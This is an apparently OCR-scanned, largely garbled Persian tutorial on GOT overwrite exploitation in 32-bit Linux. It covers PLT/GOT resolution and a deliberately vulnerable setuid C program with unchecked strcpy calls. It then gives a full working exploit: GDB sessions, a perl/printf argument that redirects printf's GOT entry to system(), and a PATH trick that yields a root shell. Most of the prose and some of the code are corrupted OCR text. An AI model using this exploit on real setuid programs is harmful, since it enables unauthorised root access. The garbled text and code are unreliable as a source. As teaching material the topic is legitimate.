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main

printf("something like %s\n", this)

Location 1: call 0x80482b0 <printf> (PLT)
Location 2: jmp *0x8049550 (GOT)

exit
135 swyp0bjdump 29,5 Jiwlei L Olgi (o0 ) b OS0 ¢yl
080482901 d .plt 00000000 < .plt from 08048290 - 0804820
080482¢01 d .text 00000000

080495401 d .got 00000000 < .got from 08049540 - 08049560
080495601 d .bss 00000000

123h (g0 pJ Dso 3R g0 ) S 2 juz Sl SUly zab Ul>ges

[printf()] <
| |
-------------- > [PLT]--->[d_r_resolve]--|
| | |
>[GOT]<--
| |
------- >[libc]—
1358 (50 £ (2B juz 4% paian U ouiS oy 0 GDB Lo 1) @bl (2=l 9 4000 sl
(gdb) disas printf

Dump of assembler code for function printf:
0x80482b0 <printf>: jmp *0x8049550 <& Here

! Global Offset Table
2 Root access
? position independent address calculation

* Procedure Linkage Table
)



33200 Ol s 9 gl ul sl GOT slawel 43 45 ewwas (Procedure Linkage Table) PLT )3 Lo cabis oyl 55

WJlo 2 4.3 oo g ) osi Slg31)d U OlSe 9 0315 plul GOT s 1, jmp & PLT gl )l sisid jls 5590 U 4 jou
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0x80482b6 <printf+6>: push $0x8
0x80482bb <printf+11>: jmp 0x8048290 < init+24> <& Here

2345 53,5 oo plowl _init+24 4, jmp g o push awiy 4 00X8 s sl 233 (530 S @U @) (sl 0 iy
23S sales Sle>1 81, _dl runtime_resolve @) oyl

(gdb) disas 0x8048290

Dump of assembler code for function _init:

0x8048278 < init>: push %ebp

0x8048279 < init+1>: mov  %esp,%ebp

0x804827b < init+3>: sub  $0x8,%esp

0x804827e < init+6>: call 0x8048304 <call gmon_start>
0x8048283 < init+11>: nop

0x8048284 < init+12>: call 0x8048364 <frame dummy>
0x8048289 < init+17>: call 0x80483fc < do global ctors aux>
0x804828e < init+22>: leave

0x804828f < init+23>: ret

0x8048290 < init+24>: pushl 0x8049544 < Here
0x8048296 < init+30>: jmp *0x8049548

0x804829¢ < init+36>: add %eal,(%eax)

0x804829¢ < init+38>:add %al,(%eax)

Laitd dlio o2l Blaal jl )5 45 35S (0 s g2 po S Sl g GBS U3 1) @ OlelMbl . _dl runtime resolve

(gdb) disas *0x8049548

Dump of assembler code for function dl runtime resolve:

0x4000a180 < dl runtime resolve>: push %eax

0x4000a181 < dl runtime resolve+1>: push %ecx

0x4000a182 < dl runtime resolve+2>: push %edx

0x4000a183 < dl runtime resolve+3>: mov 0x10(%esp,1),%edx

0x4000a187 < _dIl runtime resolve+7>: mov 0xc(%esp,1),%eax

0x4000a18b < dI_runtime resolve+11>: call 0x40009f10 <fixup> <€ Magic starts
0x4000a190 < dl runtime resolve+16>: pop %edx

0x4000a191 < dl runtime resolve+17>: pop %ecx

0x4000a192 < dl runtime resolve+18>: xchg %eax,(%oesp,1)

0x4000a195 < _dl_runtime resolve+21>:ret $0x8

0x4000a198 < dl runtime resolve+24>: nop

0x4000a199 < dl runtime resolve+25>:lea 0x0(%esi,1),%esi

End of assembler dump.

(gdb)

Olod93 4ol b g5 Loniitans pails oo ) @195 U 9 4Lis 25T 9 20 o) g 20 e entry L GOT g

23S )31 GOT 4 La gl )l gl —fpic 4 38 L3S 03,5 kel plSin 45 3 15 5929 Ol (] .eads 18 (oliws 3,90

125l .C @uio 35

int main()

{
puts("Hello");

rl



return 0;

b
(sheomsl) .S @aio 35
... snipped ...
main:
pushl %ebp
movl  %esp, %ebp
subl  $8, %esp
andl $-16, %esp
movl $0, %eax
subl  %eax, %esp
movl $.LCO, (%esp)
call puts
movl $0, %eax
leave
ret
... snipped ...
:-fpic jl.s gue S
... snipped ...
main:

pushl %ebp
movl  %esp, Y%ebp
pushl %ebx
subl  $4, %esp
call  1686.get pc thunk.bx
addl $ GLOBAL OFFSET TABLE , %ebx
andl $-16, %esp
movl $0, %eax
subl  %eax, %esp
leal .LCO@GOTOFF(%ebx), Y%eax
movl  %eax, (%esp)
call puts@PLT
movl -4(%ebp), %ebx
leave
ret
... snipped ...
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//IGOT.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char *pointer = NULL;
char array[10];

pointer = array;

strcpy(pointer, argv[1]);
printf("" Array contains %s at %p\n", pointer, &pointer);
strcpy(pointer, argv([2]);
printf("" Array contains %s at %p\n", pointer, &pointer);

return EXIT SUCCESS;

[cefix@term]$ gcc -0 got got.c
[cefix@term]$ su -c¢ "chmod +s ./got" root
Password:

[cefix@term]$ ./got hello hi

Array contains hello at Oxbffffa6c

Array contains hi at Oxbffffa6c
[cefix@term]$

[cefix@term]$ gdb -q ./got

(gdb) b strepy

Breakpoint 1 at 0x804829c

(gdb) r hello hi

Starting program: /home/cOntex/got/got hello hi
Breakpoint 1 at 0x42079da4

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.s0.6
(gdb) step

Single stepping until exit from function strcpy,

which has no line number information.

main (argc=3, argv=0xbffffad4) at got.c:12

12 printf(" Array contains %s at %p\n", pointer, &pointer);
(gdb) x/s pointer

Oxbffffa60:  "hello"

(gdb) step

Array contains hello at Oxbffffa7c

13 strepy(pointer, argv[2]);

(gdb) step

Breakpoint 1, 0x42079da4 in strcpy () from /lib/1686/libc.s0.6
(gdb) step

Single stepping until exit from function strcpy,

which has no line number information.

main (argc=3, argv=0xbffffad4) at got.c:14

14 printf(" Array contains %s at %p\n", pointer, &pointer);
(gdb) x/s pointer

"



0xbffffa60:
(gdb)
"pointer" ,5 o Lal > LS bwgs Jlisl sla ologS )T printfl) Slss1,s il J1SS o dhwlgs 45 Cawl JI83T

Hhi"

3l 4ils 0 )Ldl Sz pb 4 S )Ll (2l 45 @S (SIS euiled (g0 Lo )8 2 LEI S b3l o0 Yiled Guusew 9 825 8 puSD
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Global Offset Table 4y s ! jl BLI5S Caomnd 45 J5b Olod 2dl 3o OT 4 03,5 8 L5 3L 13 (@S ghuunsST
1= 493U strepy() I Lo easS o 2Ll GOT s 0lSo So 40 45 oy ls (55 2 L3l & ol Wl 45315 2,2
D o g0 4 63018 S 855 35 4 oS o 3Lkl @l 83,5 0 0 L1 OT 4 45§ GOT o jsT Wl gizms g gisl>

23S 2Ll Strepy () Guimsss b printf() gl GOT Gu,sT 4 )3 o,Lil 455l 0 3L ju puw ()

1: strepy(pointer, argv[1]);
|--- pointer -> printf(GOT)

2: printf(" Array contains %s at %p\n, pointer, &pointer)

Canwl @2l o )Ll SIICPY puo93 4 45 GOT jl glentry ,3 jwysT puis (¥

3: strepy(pointer, argv[2]);
|--- pointer -> system(GOT)

Ll @2l 2315 45 Sl (oS (g0 (Slg31 0 1) RU (2] 45 (ol .3iS o0 0 LI SYStem() 4 9 o0 patch o giS1 printf() (F
O anles

4: printf(" Array contains %s at %p\n....)
|--- system(" Array contains %s at %p\n, pointer, &pointer)
2% anlgs alb shell (0
1) oS g sialr oadly5 o 45 (61 PINLF) o sdT 30 Lo €Sl oyulsl coutond o T (i cdlyys 4 ks Lo
1S (g0 23kl GDB I 0T (280, (510 -2b aalys hijacl 45 59) sales (53,90 Printf) cpogs .pabls duils

[cefix@term]$ gdb -q ./got

(gdb) disas main

Dump of assembler code for function main:
0x804835c <main>:  push %ebp

0x804835d <main+1>: mov %esp,%ebp
0x804835f <main+3>: sub $0x28,%esp
0x8048362 <main+6>: and SOxfffffff0,%esp

0x8048365 <main+9>:

mov  $0x0,%eax

0x804836a <main+14>: sub %eax,%esp

0x804836¢ <main+16>: lea Oxffffffd8(%ebp),%eax
0x804836f <main+19>: mov %eax,0xfffttft4(%ebp)
0x8048372 <maint+22>: sub $0x8,%esp

0x8048375 <main+25>: mov 0xc(%ebp),%eax
0x8048378 <main+28>: add $0x4,%eax

0x804837b <main+31>: pushl (%eax)

0x804837d <main+33>: pushl Oxfffffff4(%ebp)



0x8048380 <main+36>:

0x8048385 <main+41>:
0x8048388 <maint+44>:
0x804838b <main+47>:
0x804838¢ <main+50>:
0x804838f <main+51>:
0x8048392 <main+54>:
0x8048397 <maint+59>:

0x804839¢ <main+64>:
0x804839f <main+67>:
0x80483a2 <main+70>:
0x80483a5 <main+73>:
0x80483a8 <main+76>:
0x80483aa <main+78>:
0x80483ad <main+81>:
0x80483b2 <main+86>:
0x80483b5 <main+89>:
0x80483b8 <main+92>:
0x80483bb <maint+95>:
0x80483bc <main+96>:
0x80483bf <main+99>:

0x80483¢c4 <main+104>:
0x80483¢9 <main+109>:
0x80483cc <main+112>:
0x80483d1 <main+117>:
0x80483d2 <main+118>:

End of assembler dump.

(2db) x/i 0x804828¢

call 0x804829c <strcpy>

add $0x10,%esp

sub  $0x4,%esp

lea Oxfffffff4(%ebp),%eax
push %eax

pushl Oxffftfff4(%ebp)
push $0x8048434

call 0x804828c <printf>

add $0x10,%esp

sub  $0x8,%esp

mov  0xc(%ebp),%eax
add $0x8,%eax

pushl (%eax)

pushl Oxfffffff4(%ebp)
call 0x804829c <strcpy>
add $0x10,%esp

sub  $0x4,%esp

lea Oxfffffff4(%ebp),%eax
push %eax

pushl Oxfffffff4(%ebp)
push $0x8048434

call 0x804828c <printf>
add $0x10,%esp

mov  $0x0,%eax

leave

ret

€ Culond by Lol

< This replaces printf() with system()

< This is altered and system() is executed

0x804828c <printf>: jmp *0x804954c
(gdb) x/i 0x804954c
0x804954c < GLOBAL_OFFSET TABLE +16>: nop

S o3liwl (b Lgs b (2wl 05,8 dump gl s objdump I esiles g0 (puizred Lo

[cefix@term]$ objdump --dynamic-reloc ./got | grep printf
0804954c R 386 JUMP SLOT printf
[cefix@term]$

295 system() L LsT abizd ol 53 ceals Jlssl )3 cpal 4bls ) OT juass 3ua8 45 1) s GOT )3Tl 0S|

oS 3y 3 ) @6 ol o T sl oS (oo

(gdb) p system
$1 = {<text variable, no debug info>} 0x42041e50 <system>

(gdb) q
P ) Dgas @S b b 45 Aol o 3350 015 JLS 3 @S 23litul paalsS 0 S ol s T OS]

25 oLl 5 0x804954¢ o5 ,8 S ()
SIS 0 0 )Ll OT a0 Strepy() ouoss b S o lil 45 (5 5uz sl 4 0x42041e50 (rbgs (¥
shell o ol (¥

spnotis ) s (ppl 3,55 K598 esilgs (o0 GDB 5 ) Jlesl plwil b
(gdb) r “perl -e 'print "A" x 28" printf "\x4c\x95\x04\x08"" hello
The program being debugged has been started already.
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Start it from the beginning? (y orn) y
Starting program: /home/cOntex/got/got "perl -e 'print "A" x 28" printf "\x4c\x95\x04\x08"" hello

Breakpoint 1, 0x42079da4 in strepy () from /1ib/i686/libc.s0.6
(gdb) step

Single stepping until exit from function strcpy,

which has no line number information.

main (argc=3, argv=0xbffffab4) at got.c:12

12 printf(" Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer
0x804954c < GLOBAL OFFSET TABLE +16>: 0x08048292
(gdb) step
Array contains #B

13 strepy(pointer, argv[2]);
(gdb) step

Breakpoint 1, 0x42079da4 in strepy () from /1ib/i686/libc.s0.6
(gdb) step

Single stepping until exit from function strcpy,

which has no line number information.

main (argc=3, argv=0xbffffab4) at got.c:14

14 printf(" Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer

0x804954c < GLOBAL_OFFSET TABLE +16>: 0x6c6c6568
(gdb) x/s pointer

0x804954c < GLOBAL OFFSET TABLE +16>: "hello"
(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x6¢6c6568 in ?? ()

(gdb)

Lo 45 ol (23 -Gl 02d G 925 (hello) eal 05,8 €11 &5 SsS)T ao9 b ST printfl) 45 cawl zols

S Ol 1) YIS (pl sl oS g0 ya g5 SYsStem() o»21 L1, "hello" 13 (S o3liwl hello I eanlgsnses
(gdb) r "perl -e 'print "A" x 28" "printf "\x4c\x95\x04\x08"" “printf "\x50\x 1e\x04\x42""

Starting program: /home/cOntex/got/got “perl -e 'print "A" x 28" "printf "\x4c\x95\x04\x08""
“printf "\x50\x 1e\x04\x42""

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.s0.6
(gdb) step

Single stepping until exit from function strcpy,

which has no line number information.

main (argc=3, argv=0xbffffab4) at got.c:12

12 printf("Array contains %s at %p\n", pointer, &pointer);
(gdb) x/x pointer

0x804954c < GLOBAL OFFSET TABLE +16>: 0x08048292
(gdb) ¢

Continuing.

Array contains #B

Breakpoint 1, 0x42079da4 in strcpy () from /lib/i686/libc.s0.6
PuTTY(gdb) step

Single stepping until exit from function strcpy,

which has no line number information.

main (argc=3, argv=0xbffffab4) at got.c:14

14 printf("Array contains %s at %p\n", pointer, &pointer);
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(gdb) x/x pointer

0x804954c < GLOBAL OFFSET TABLE +16>: 0x42041e50
(gdb) x/i 0x42041e50

0x42041e50 <system>: push %ebp

(gdb) c

Continuing.

sh: line 1: Array: command not found

Program exited normally.

(gdb)
4 command line jl1) goudge ml 3l (@23 S PALCh piunms (5121 G292 o3 | printfl) jwssT b las Jle

f...swl.n.ob».h)uac)ﬁ@lbpgfa)bi: ol
[cefix@term]$I ./got hello hi
Array contains hello at Oxbffffa6c
Array contains hi at Oxbffffa6c
[cefix@term]$ ./got “perl -e 'print "A" x 28" “printf "\x4c\x95\x04\x08"" "printf "\x50\x 1e\x04\x42""
Array contains #B

sh: line 1: Array: command not found
[cefix@term]$

"Array contains %s at %p" < g 4 45 3 Iy Printf doz s gl ) bl 3,5 121 )3 1) 395 2 @
=l as )5 (bl o0 sobiol Uad 4ll) Cs juio )giwd gs.g.AITayo,.zsé)SQT‘5|)?|))WL;mfA§))9ﬂlgw
e 9 35S o 121 1) /bin/sh aS oS slwl Atray pb b sl 45Ld )5 1) Jgiws SO sl 13 3 salss (gt > Olod s

3Ll aalgs B 4z euian
//Array.c
int main()

{

}
[cefix@term]$ gcc -0 Array Array.c

[cefix@term]$ ./Array

sh-2.05b$ exit

exit

[cefix@term]$ export PATH=:..$PATH
[cefix@term]$

system("/bin/sh");

1aoT snlys Cawsy shell 4 auin g0 0931

[cefix@term]$ ./got "perl -e 'print "A" x 28" printf "\x4c\x95\x04\x08"" *printf "\x50\x 1e\x04\x42""
Array contains #B

sh-2.05b# id -a

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05b#

P2 190 Calidgo L 1) NON-EXEC Sl diy puilgi U oa 1> LSl )3 5,505 Gha) 0S|
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